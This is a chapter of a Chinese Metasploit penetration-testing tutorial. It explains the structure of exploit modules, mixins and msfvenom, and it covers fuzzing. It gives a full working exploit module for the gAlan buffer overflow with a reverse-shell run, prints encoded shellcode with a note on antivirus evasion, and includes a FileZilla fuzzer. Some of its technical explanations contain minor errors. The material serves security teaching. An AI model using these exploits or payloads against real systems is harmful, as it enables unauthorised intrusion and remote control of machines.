本章讲解下述内容:
● 探索模块结构;
● 常用的漏洞利用代码mixins;
● 使用msfvenom;
● 将漏洞利用代码转换为Metasploit模块;
● 移植并测试新的漏洞利用代码模块;
● 使用Metasploit进行模糊测试;
● 编写FileZilla FTP模糊测试器。
首先介绍漏洞利用代码。漏洞利用代码(Exploit)是指利用某个软件中的漏洞或 bug执行攻击者意图指令的软件代码、数据块或指令序列。攻击者意图指令可在目标软件中引发异常行为。在渗透测试过程中,漏洞利用代码起着至关重要的作用,提供了进入目标系统的入口。
在前面的内容中,我们已经使用过漏洞利用代码执行渗透测试任务。这里需要注意的是,不能将任何独立的概念验证代码或漏洞利用代码直接导入到Metasploit框架中,而必须将其转换成该框架可理解的模块,其过程和前面讲过的辅助模块开发类似。本章将介绍在该框架内使用漏洞利用代码所需知识的细节,但不包括与漏洞利用代码开发相关的内容。本章中,将介绍如何使用漏洞利用代码的概念验证代码,并学习怎样将其添加到该框架中。还有学习一些重要的mixins,以便简化漏洞利用代码到Metasploit模块的转换过程。最后将介绍模糊测试模块的相关内容。
理解漏洞利用模块的结构是非常重要的,因为这有助于对不同漏洞利用模块的正确分析。由于Metasploit框架是一个开源项目,其开发依赖于来自研究团体的贡献。来自全球的开发者们将各种漏洞利用代码的概念验证代码转换为 Metasploit 模块,以便为其他用户使用。读者也可以将新发现漏洞的利用代码转换为Metasploit模块,从而为Metasploit开发贡献力量。还有些时候需要利用不在Metasploit框架中的特定漏洞利用代码。掌握漏洞利用代码模块结构的相关知识,有助于更容易地将漏洞利用代码转换为Metasploit模块。
准备
首先来理解框架中漏洞利用代码的模块结构,其结构与辅助模块结构类似,但多了一些字段,用户可以在 /pentest/exploits/framework3 目录中找到漏洞利用模块,下面对 MSF中漏洞利用代码的结构进行分析。
怎样实现
上面提到的,漏洞利用代码模块的结构与辅助模块类似,同时又增加了一些特定内容。
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
漏洞利用代码模块首先在脚本中包含MSF核心库,并声明一个类,该类扩展了与该漏洞利用代码相关的一些属性。在上面的示例中,Metasploit3类扩展了Remote Exploit库,其实该脚本还包含其他一些库,例如TCP。
def initialize(info = {})
super(update_info(info,
'Name' => '',
'Description')
initialize 函数用于对模块中不同的值和内容定义进行初始化,主要包括 Name、Description、Author、Version等内容。
register_options(
[
Opt::RPORT(7777),
], self.class)
end
该脚本中的一些注册选项用于为该脚本提供一些重要的和默认的值,这些值可以根据用户需要进行更改。目前为止,可以看到其结构与辅助模块非常类似,其差别在于下面要定义的exploit()函数。
def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end
上面这一函数是模块漏洞利用代码的主体部分,其中包含了适用于该漏洞利用代码的shellcode,该函数的内容依据漏洞利用代码的不同而变化。远程漏洞利用代码中通常可能包含的一些关键功能在该函数体中有所体现,例如connect()函数用于打开到目标的远程连接,这是一个在 Remote::TCP 库中定义的函数。攻击载荷也是漏洞利用代码主体的重要组成部分,用于建立目标机器到攻击者机器的反向连接。用户也可以根据实际需要在漏洞利用代码主体部分中定义不同的处理程序。
还可以声明一个漏洞测试函数 check(),该函数用于确定目标机器是否存在该漏洞,可以对除攻击载荷之外的所有选项进行验证。
上面是对Metasplot中漏洞利用代码模块的基本介绍,后面章节中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。
怎样工作
上述分析的漏洞利用代码模块结构是Metasploit可以理解的格式。def initialize()函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地,register_options()则被 Metasploit用于定义一些不同的参数,或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。随着本章内容的推进,我们还会介绍到怎样将现有的漏洞利用代码转换为Metasploit模块。
Mixins是Ruby语言中应用广泛的一种机制,其作用是将一些功能放置到模块中,并使得Ruby这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins,有助于调用该漏洞利用代码所需的不同函数。在本节中,我们将学习一些重要的 Metasploit exploit mixins。
怎样实现
下面快速浏览一些常用的 exploit mixins,然后在现有的漏洞利用代码模块中了解其实现机理。
Exploit::Remote::TCP:该mixin为模块提供了TCP相关功能,可用于建立TCP连接。connect()函数与 disconnect()函数分别负责建立和终止连接,此外还需要一些不同的参数,例如RHOST、RPORT、SSL等。
Exploit::Remote::UDP:该 mixin 用于为模块提供 UDP 相关功能,UDP 通常被视为比TCP更快的连接模式,因此也是一个方便的选项,该mixin还进一步地包含了Rex::Socket::UDP,从而不必担心无法与目标建立socket连接的问题。
Exploit::Remote::DCERPC:该mixin提供了与远程机器上的DCE/RPC服务进行交互的工具和方法,其中方法通常适用在攻击渗透的语境中。该 mixin 还扩展了 TCP mixin。dcerpc_call()、dcerpc_bind()等函数是DCE/RPC mixin提供的。
Exploit::Remote::SMB:该mixin定义了有助于和远程目标主机SMB服务进行通信的函数,例如smb_login()、smb_create()等,都是该mixin提供的有用函数。
Exploit::BruteTargets:该mixin用于对目标机器进行暴力破解,使用exploit_target(target)函数接受目标主机IP并执行暴力破解,该mixin可以很容易地在不同的暴力破解代码中进行扩展和使用。
Exploit::Remote::Ftp:该mixin用于攻击渗透远程目标上的FTP服务,其中包含了用于与远程目标主机建立连接的Remote::TCP,并使用connect()函数与远程系统上的FTP服务器建立连接,该函数可接受的参数值是RHOST与RPORT。
Exploit::Remote::MSSQL:该mixin有助于查询远程数据库,其中Mssql_ping()函数用于查询数据库的可用性并将ping命令的返回信息保存为hash形式,Mssql_xpcmdshell()函数则使用 xp_cmdshell执行系统命令。在使用与MS SQL相关的漏洞利用代码时,该mixin是非常便利的。
Exploit::Capture:该mixin有助于截获网络中的数据包,其中open_pcap()函数用于建立网络设备并捕获流经该设备的数据包。该mixin需要安装pcap。inject(pkt="", pcap=self.capture)和inject_reply()是其中两个重要的函数,前者用于向网络设备中注入数据包,后者用于根据注入的数据包报告注入后产生的数据包。
上面展示了一些漏洞利用代码mixins,在Metasploit框架内使用漏洞利用代码模块时,这些mixins会带来很大便利,使用mixins可避免重复使用相同模块。促进代码重用,也正是模块式结构灵活的原因。
怎样工作
如前面所说,mixins用于在Ruby这种单继承语言中提供多继承机制,这里的含义是,可以根据实际需要在任意模块中调用不同的功能。例如,如果需要在漏洞利用代码模块中建立 TCP 连接,并不需要专门为其定义一个完整的函数,而是可以简单地在模块中调用Exploit::Remote::TCP这一mixin,就可以使用其中提供的各种功能。
更多
更多的mixins
除了前面提及的mixins之外,框架中还有很多重要的mixins,包括fileformat、imap、java、smtp、she等,可以在lib/msf/core/exploit目录中找到。
在第4章中,我们曾提及过msfencode和msfpayload。现在简单回顾一下,msfpayload用于从攻击载荷中生成二进制文件,msfencode 则用于使用不同编码技术对该二进制文件进行编码。现在要讨论的另一个 Metasploit 工具则结合了二者的功能,并在生成可隐蔽执行漏洞利用代码方面发挥重要作用。
准备
要使用msfvenom,首先启动终端提示符窗口,键入msfvenom –h 命令。
怎样实现
观察有哪些不同的可用选项。
root@bt:~# msfvenom -h
Usage: /opt/framework/msf3/msfvenom [options]
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom..
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, bash..
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
-s, --space [length] The maximum size of the resulting Payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as..
-h, --help Show this message
从结果可以看到,有很多重要的参数,其中,-n 参数用于创建和攻击载荷大小一样的NOP sled,-b参数用于防止漏洞利用代码中出现一些常用字符,例如\x00,在规避防病毒软件时,常会发生类似状况。其他参数与msfpayload和msfencode中看到的类似。
NOP slide, NOP sled或NOP ramp,是指空操作MOP指令序列,其作用是掩盖CPU的实际指令执行流程。
怎样工作
要使用msfvenom,需要将攻击载荷编码类型作为参数进行传递,下面在终端窗口中执行这一任务。
root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai
-b '\x00' -i 3
[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)
buf =
"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +
要注意与攻击载荷一起传递的参数,-b参数防止\x00(空字节)在shellcode中出现,我们可以在自己的漏洞利用代码中使用该shellcode。
使用框架中的不同攻击载荷生成 shellcode 时,msfvenom 是非常方便的工具,而这些shellcode则可用于漏洞利用代码中,并在攻击者成功攻陷目标机器后提供反向连接等功能。
在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器。在本节中,我们将进一步拓展模块使用体验,尝试使用可用的概念验证代码开发完整的漏洞利用代码模块。为了将任意新的漏洞利用代码转换为框架中的模块,并在Metasploit团队进行更新之前使用其进行渗透测试,必须掌握将漏洞利用代码转换为模块的相关知识。并且,每个漏洞利用代码都以框架中模块形式存在也是不可能的,所以,下面学习怎样使用可用的POC来构建自己的漏洞利用代码模块。
准备
首先,选择可以转换为模块的任意漏洞利用代码,这里选的是 gAlan Zero day漏洞利用代码,可以从http://www.exploit-db.com/exploits/10339处下载。
gAlan是一款用于 X Windows 和Win32的音频处理工具(在线和离线方式都支持),用户可利用该工具以模块化的形式构建合成器、声效链、混音器、序列器、drum-machines等,而这些操作只需要将代表音频处理元件的图标进行链接等操作即可完成。
只有当目标机器使用这一应用程序并且攻击者预先已知道时,针对 gAlan 的漏洞利用代码才能发挥作用,因此,攻击者需要预先知道目标机器上安装了哪些应用程序。
怎样实现
在开始漏洞利用代码转换之前,有必要了解关于栈溢出攻击的一些知识。
在软件中,调用栈时如果使用了过大的内存可能会发生栈溢出,这里调用栈是指应用软件的运行时栈,其中包含了有限大小的内存,通常是在程序启动时就已经确定的。调用栈的大小取决于很多因素,包括程序设计语言、机器体系结构、多线程及可用内存总量等。当程序试图使用的内存空间大于调用栈中实际可用的内存空间时,就会发生栈溢出,一般情况下会导致程序崩溃。在漏洞利用过程中,实质上最常被攻击的寄存器是ESP、EIP和EAX。
● ESP:指向栈顶。
● EIP:指向下一指令地址。
● EAX:要被执行的指令。
由于在栈内所有寄存器都是线性存储的,所以需要知道 EIP 寄存器的确切大小,以便对其进行溢出后可以控制EAX,并执行攻击载荷。
拥有某个漏洞的概念验证代码之后,下一步收集该漏洞尽可能多的信息。观察下面漏洞的概念验证代码,前面少数几行由存储在$shellcode 变量中的 shellcode 组成,可利用msfpayload或msfvenom工具,使用框架中任何可用的攻击载荷生成。
$magic = "Mjik";
$addr = 0x7E429353; # JMP ESP @ user32,dll
$filename = "bof.galan";
$retaddr = pack('l', $addr);
$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;
漏洞利用代码的主体部分首先包括$magic,其中包含一个四字节的字符串;然后是$addr变量,其中包含ESP栈指针的位置;之后的$filename变量包含了后渗透阶段将要创建的文件名称;$retaddr包含了返回地址,栈指针指向这一地址,并导致溢出发生后漏洞利用代码的执行;最后是攻击载荷执行语句,负责漏洞利用和shellcode的执行。
从漏洞利用代码可知,此处的shellcode最大可达700字节,攻击载荷的总长度是1214字节,在构建模块时会用到这些信息。
我们可以使用重复的返回地址,也可以根据 EIP 被重写时的大小来确定返回地址。Metasploit中包含一个有用的pattern_create.rb工具,可以辅助发现EIP被重写时的确切地址,该工具可生成特定模式的字符串,并传递给漏洞利用代码,可以发现该字符串存储于 EIP中。下面使用该工具创建一个5000字符的字符串。
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
编辑漏洞利用代码脚本,使用另一个测试变量$junk替代$payload,并将刚生成的5000字符的字符串复制到该变量中。这里假设读者具备逆向工程和应用程序调试的基础知识。假设存储在 EIP 中的字符串模式为“234abc”,现在使用另一个名为 pattern_offset.rb 的Metasploit工具计算其在字符串中出现的位置。
position where this pattern exists in the string we passed:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc
5000
1032
因此,为获取EIP准确位置,必须要传递的字节数是1032。
现在,我们已经收集到了关于漏洞利用代码的充分信息,做好了将其转换为Metasploit模块的准备。
怎样工作
下面开始构建自己的模块,脚本中的第一行代码表示导入依赖库,并创建父类,然后定义initialize()函数,其中包含该漏洞利用代码和注册选项等信息。
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack overflow in gAlan 0.2.1
By creating a specially crafted galan file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'original by Jeremy Brown' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit- db.com/exploits/10339' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
], self.class)
end
目前的代码都很简单,比较复杂的代码是从exploit()函数开始的,下面介绍其实现的过程。
首先从原始漏洞利用脚本的头 4个字节开始,即$magic = "Mjik"。
在本模块中,该代码被 sploit = "Mjik"替代。
然后构建缓冲区,由于前面已经确定了 EIP 被重写的位置,因此可以使用如下语句替换重复的返回地址。
sploit << rand_text_alpha_upper(1028);
sploit << [target.ret].pack('V');
添加 nop slide,该漏洞利用脚本中对应部分在本模块中更改为如下形式。
sploit << "\x90" * 45
接下来构建完整的shellcode。
sploit << payload.encoded
最后,将这些行脚本代码整合到exploit()函数中。
def exploit
sploit = "Mjik"
sploit << rand_text_alpha_upper(1028)
sploit << [target.ret].pack('V')
sploit << "\x90" * 45
sploit << payload.encoded
galan = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(galan)
end
上面是将现有漏洞利用代码转换为Metasploit模块的一个简单的示例,这一过程的难度主要依赖于漏洞利用代码本身。关于模块转换,最好的学习途径是利用Metasploit库中的可用漏洞利用代码模块,下一节将学习怎样将漏洞利用代码模块移植到Metasploit框架以便进行渗透测试。
在上节中学习了怎样使用可用的概念验证代码开发完整的Metasploit模块,本节中将把该模块保存到合适的位置,并测试其是否正常运转。
准备
了解漏洞利用代码模块要存储的文件夹位置是非常重要的,有助于追踪不同模块所在位置,同时也有助于Metasploit框架理解模块的基本用法。完整的模块脚本构建完成之后,在合适的位置将其保存。
怎样实现
由于上面开发的是漏洞利用代码模块,针对的目标是Windows操作系统,影响的是特定的文件格式,因此可以根据这些信息相应地选择存储位置。查看modules/ exploits/windows目录,可以发现特定的fileformat文件夹,该文件夹用于存储文件格式相关的漏洞利用代码模块,将上面的模块保存为galan_fileformat_bof.rb。
怎样工作
接下来检查该模块功能是否正常,前面我们已经使用过大量的模块,因此这一任务很简单,采用如下步骤。
msf > use exploit/windows/fileformat/galan_fileformat_bof
msf exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/
reverse_tcp
msf exploit(galan_fileformat_bof) > set LHOST 192.168.56.101
msf exploit(galan_fileformat_bof) > exploit
使用exploit命令执行该模块,并创建一个可在目标机器上引发缓冲区溢出的文件。
这样就完成了模块的创建和执行过程,可以看到该过程很简洁,其中较困难的是漏洞利用脚本到 Metasploit 框架模块的正确转换。用户可以根据需要对现有模块进行调试或修改,也可以向Metasploit社区提交新创建的模块以便与他人分享。
模糊测试是一种软件测试技术,包括使用随机的数据注入检测软件中的漏洞。模糊测试脚本生成畸形数据时,将其传送给特定的目标软件以验证其是否会导致溢出。Metasploit提供中包含某些模糊测试模块,可用于漏洞利用代码开发。下面探索一下模糊测试的基础,以及怎样将Metasploit模块用作潜在的模糊测试器。
准备
在介绍Metasploit模糊测试模块之前,首先对模糊测试及其类型进行简单的了解。
模糊测试被视为是一种黑盒测试技术,用于发现软件中的溢出问题,这一技术广泛地应用于应用程序漏洞挖掘。
模糊测试器可用于测试软件、协议和文件格式中的漏洞,可自动化实现测试数据生成和注入的过程,用户可控制用于注入的数据或数据包的大小。
模糊测试器一般测试如下攻击组合。
● 数字(有符号/无符号证书、浮点数等)
● 字符(URL和命令行输入)
● 元数据:用户输入的文本(id3标签)
● 纯粹的二进制序列
根据待测试的应用程序或协议的类型,可以相应地建立模糊测试器,以生成数据/数据包测试其是否导致溢出。Metasploit中包含了一些模糊测试模块,可以利用黑盒测试方法测试应用程序和协议。这些模块存储在modules/auxiliary/fuzzers目录中。
怎样实现
下面运行一个基于协议的模糊器模块,Metasploit 中包含一个名为 client_ftp.rb 的 FTP模块,其作用是充当FTP服务器,并向FTP客户端发送回应信息。
msf > use auxiliary/fuzzers/ftp/client_ftp
msf auxiliary(client_ftp) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------------------
CYCLIC true yes Use Cyclic pattern instead..
ENDSIZE 200000 yes Max Fuzzing string size.
ERROR false yes Reply with error codes only
EXTRALINE true yes Add extra CRLF's in..
FUZZCMDS LIST.. yes Comma separated list..
RESET true yes Reset fuzzing values after..
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 21 yes The local port to listen on.
SSL false no Negotiate SSL for incoming..
SSLVersion SSL3 no Specify the version of SSL..
STARTSIZE 1000 yes Fuzzing string startsize.
STEPSIZE 1000 yes Increment fuzzing string..
从结果可以看到该模块包含很多有用的参数,下面看一下每个参数代表的功能。
● CYCLIC选项用于建立模糊测试数据的循环模式,确保每隔 4个字节的偏移量。如果该选项设置为false,则模糊器将使用字母A组成的字符串作为模糊测试数据。
● ENDSIZE选项用于定义返回给 FTP客户端的模糊测试数据的最大长度。默认情况下,该数值设置为20000字节。
● ERROR选项如果被设置为 true,将使用错误代码对FTP客户端进行响应。
● EXTRALINE选项用于模糊测试目录列表。在收到过多的目录名请求时,有些FTP客户端会崩溃。
● FUZZCMDS选项用于定义对哪些响应信息进行模糊测试,可能的请求包括LIST、NLST、LS和RETR,也可以将其设置为*,以便对所有命令进行模糊测试。
● SRVHOST选项用于指定模糊测试器将使用哪个 IP地址与 FTP服务器进行绑定。对于本地机器,这个值可以设置为0.0.0.0。
● SRVPORT选项用于定义FTP服务器端口,默认值为 21。
● STARTSIZE选项用于定义模糊测试数据的初始化数据长度。
● STEPSIZE选项用于定义溢出失败时,模糊测试数据每次的增量。
在使用模糊测试器时,需要注意如果没有传递正确的参数值,可能会导致模糊测试失败。要对模糊器有更深入的理解,可以查看模块的源代码。下面运行FTP客户端模糊测试器,并查看其返回结果。
msf auxiliary(client_ftp) > run
[*] Server started.
[*] Client connected : 192.168.56.102
[*] - Set up active data port 20
[*] Sending response for 'WELCOME' command, arg
[*] Sending response for 'USER' command, arg test
[*] Sending response for 'PASS' command, arg test
[*] - Set up active data port 16011
[*] Sending response for 'PORT' command, arg 192,168,0,188,62,139
[*] Handling NLST command
[*] - Establishing active data connection
[*] - Data connection set up
[*] * Fuzzing response for LIST, payload length 1000
[*] (i) Setting next payload size to 2000
[*] - Sending directory list via data connection
输出信息中有几点需要特别注意,首先,FTP服务器在攻击机器上启动,之后回连FTP客户端,并向客户端机器发送不同的响应命令。模糊测试过程从 NLST 命令开始,之后是LIST等命令。
上面是模糊测试模块工作方式的一个小示例,下节中我们将构建自己的模糊测试模块,并对协议模糊测试进行深入理解。
怎样工作
模糊测试器会根据目标应用程序创建不同的测试用例,在上面的示例中,FTP 服务器的模糊测试是通过发送随机数据包之后对响应消息进行分析实现的,数据包可以对网络流量中的如下属性进行模糊测试。
● 数据包头:模糊测试器可以将任意长度和取值的随机数据插入到数据包头部,并对响应消息进行分析。
● 数据校验和:使用模糊测试器可以在特定的条件下对校验和值进行操纵。
● 数据包大小:可以将任意长度的数据包发送给网络应用程序以判断是否会引发崩溃。发生溢出或崩溃后,模糊测试器可以返回测试用例当做溢出数据使用。
前面已分析过模糊测试模块的工作过程,本节中将进一步构建自己的小型FTP模糊测试器,用于对FileZilla FTP服务器进行模糊测试。
怎样实现
构建模糊测试器的基本模板与前面开发辅助模块所用的模板类似,基本模板应具有如下的形式。
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'FileZilla Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => 'Filezilla FTP fuzzer',
'Author' => 'Abhinav_singh',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(14147),
OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),
OptInt.new('DELAY', [ false, "Delay between connections",0.5]),
OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),
OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000])
], self.class)
end
前面的代码表示导入MSF库,创建一个类,并定义其中的一些选项,下一步定义模糊测试器的主体部分。
def run_host(ip)
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
startsize = datastore['STARTSIZE'] # fuzz data size to begin with
count = datastore['STEPSIZE'] # Set count increment
while count < 10000 # While the count is under 10000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\ x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT'])
# Send the packet
print_status("Sending: #{evil}")
resp = udp_sock.get(1) # Capture the response
count += 100 # Increase count by 10, and loop
end
end
end
下面分析该脚本,该脚本首先创建UDP socket,这在建立到 FileZilla服务器的连接时会用到。然后声明变量startsize与count,分别定义了模糊测试器的起始数据大小和增量长度值,之后建立循环,并在其中声明恶意字符串和攻击载荷格式,这些内容将作为数据包(pkt)的组成部分发送到目标程序。
最后,该脚本使用udp_sock_sendto函数将服务器发送数据包,并使用resp=udp_sock.get()函数捕获服务器的响应信息。每次收到响应信息后,数据包长度值增加100。
怎样工作
要使用该模块,首先要将其存储到modules/auxiliary/fuzzers/ftp目录,将该模块命名为filezilla_fuzzer.rb。
msf > use auxiliary/fuzzers/ftp/filezilla_fuzzer
msf auxiliary(filezilla_fuzzer) > show options
Module options (auxiliary/fuzzers/ftp/filezilla_fuzzer):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 0.5 no Delay between..
ENDSIZE 20000 no Fuzzing string endsize
RHOSTS yes The target address
RPORT 14147 yes The target port
STARTSIZE 10 no Fuzzing string startsize
STEPSIZE 10 no Increase string size..
从结果可以看到,该模块工作良好,并展示了一些可用的选项。对相应选项进行赋值,并使用run命令运行。
msf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1
RHOSTS => 192.168.56.1
msf auxiliary(filezilla_fuzzer) > run
[*] Sending: AAAAAAAAAA
[*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
上述内容表明该模糊测试器向服务器发送字符串,并一直重复这一发送过程,直至服务器崩溃或该循环结束。如果在服务器崩溃之前循环结束,可以尝试修改脚本来发送更长的字符串。上面简要展示了使用 Metasploit 对软件进行模糊测试的过程,通常不建议使用Metasploit对大型软件进行模糊测试。对软件和应用程序的模糊测试而言,还可以使用一些更专业化的框架。
更多
快速浏览下面的模糊测试框架,如果读者想要提高模糊测试和漏洞利用代码开发方面的知识能力,可以使用该框架。
Antiparser模糊测试框架
Antiparser是使用python语言编写的一个模糊测试框架,用于构建模糊测试器的随机数据的创建过程。该框架可用于开发跨平台运行的模糊测试器,因为该框架唯一的要求就是必须安装Python解释器。
Antiparser可以在http://sourceforge.net/projects/antiparser/处下载。